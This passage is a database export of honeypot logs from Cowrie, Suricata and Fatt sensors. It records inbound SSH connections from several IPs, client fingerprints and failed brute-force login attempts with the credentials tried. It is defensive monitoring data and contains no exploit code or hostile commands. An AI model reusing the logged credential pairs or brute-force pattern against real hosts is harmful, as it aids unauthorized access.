27079	13.75.108.119	109.199.241.180	Suricata	2021-09-20 14:13:51.201667+03	2021-09-20 14:15:14.108647+03	{"_id": "WgbpAnwBvYTbRNuEiias", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.99.16.6712525109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "src_ip": "13.75.108.119", "dest_ip": "192.168.20.116", "flow_id": 554707591282587, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59491, "dest_port": 22, "timestamp": "2021-09-20T11:13:51.201667Z", "@timestamp": "2021-09-20T11:13:51.201Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27080	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:52.256677+03	2021-09-20 14:15:14.109674+03	{"_id": "XQbpAnwBvYTbRNuEjCaZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [monitor/123456] failed", "session": "3f22bd74dc47", "@version": "1", "password": "123456", "username": "monitor", "timestamp": "2021-09-20T11:13:52.256677Z", "@timestamp": "2021-09-20T11:13:52.256Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27081	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:13:52.714112+03	2021-09-20 14:15:14.11068+03	{"_id": "bAbpAnwBvYTbRNuEjybJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59014, "dest_port": 22, "timestamp": "2021-09-20T11:13:52.714112", "@timestamp": "2021-09-20T11:13:52.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27082	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:53.976415+03	2021-09-20 14:15:14.111674+03	{"_id": "fgbpAnwBvYTbRNuEkyaz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44044, "dest_port": 22, "timestamp": "2021-09-20T11:13:53.976415", "@timestamp": "2021-09-20T11:13:53.976Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27083	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:53.742825+03	2021-09-20 14:15:14.113674+03	{"_id": "fwbpAnwBvYTbRNuElCZs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "23ebd86f62c0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:53.742825Z", "@timestamp": "2021-09-20T11:13:53.742Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27084	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:53.696358+03	2021-09-20 14:15:14.114674+03	{"_id": "hAbpAnwBvYTbRNuElCZt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:44044 (192.168.176.2:22) [session: 23ebd86f62c0]", "session": "23ebd86f62c0", "@version": "1", "protocol": "ssh", "src_port": 44044, "dest_port": 22, "timestamp": "2021-09-20T11:13:53.696358Z", "@timestamp": "2021-09-20T11:13:53.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27085	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:53.977154+03	2021-09-20 14:15:14.116647+03	{"_id": "gwbpAnwBvYTbRNuElCZs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "23ebd86f62c0", "@version": "1", "timestamp": "2021-09-20T11:13:53.977154Z", "@timestamp": "2021-09-20T11:13:53.977Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27086	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:55.665594+03	2021-09-20 14:15:14.117675+03	{"_id": "kgbpAnwBvYTbRNuEmCZV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ae8a5001f00b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:55.665594Z", "@timestamp": "2021-09-20T11:13:55.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27087	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:13:55.76317+03	2021-09-20 14:15:14.118674+03	{"_id": "kwbpAnwBvYTbRNuEmiZQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1546357558159944, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59842, "dest_port": 22, "timestamp": "2021-09-20T11:13:55.763170Z", "@timestamp": "2021-09-20T11:13:55.763Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27107	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:13:44.780277+03	2021-09-20 14:15:14.146677+03	{"_id": "6gbpAnwBvYTbRNuEcSU9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [rotarypoperinge/c22pd] failed", "session": "4964a6a48908", "@version": "1", "password": "c22pd", "username": "rotarypoperinge", "timestamp": "2021-09-20T11:13:44.780277Z", "@timestamp": "2021-09-20T11:13:44.780Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27088	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:55.763237+03	2021-09-20 14:15:14.119647+03	{"_id": "lQbpAnwBvYTbRNuEmyaE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59842, "timestamp": "2021-09-20T11:13:55.763237", "@timestamp": "2021-09-20T11:13:55.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27089	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:13:55.774136+03	2021-09-20 14:15:14.121645+03	{"_id": "lgbpAnwBvYTbRNuEmyaE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": 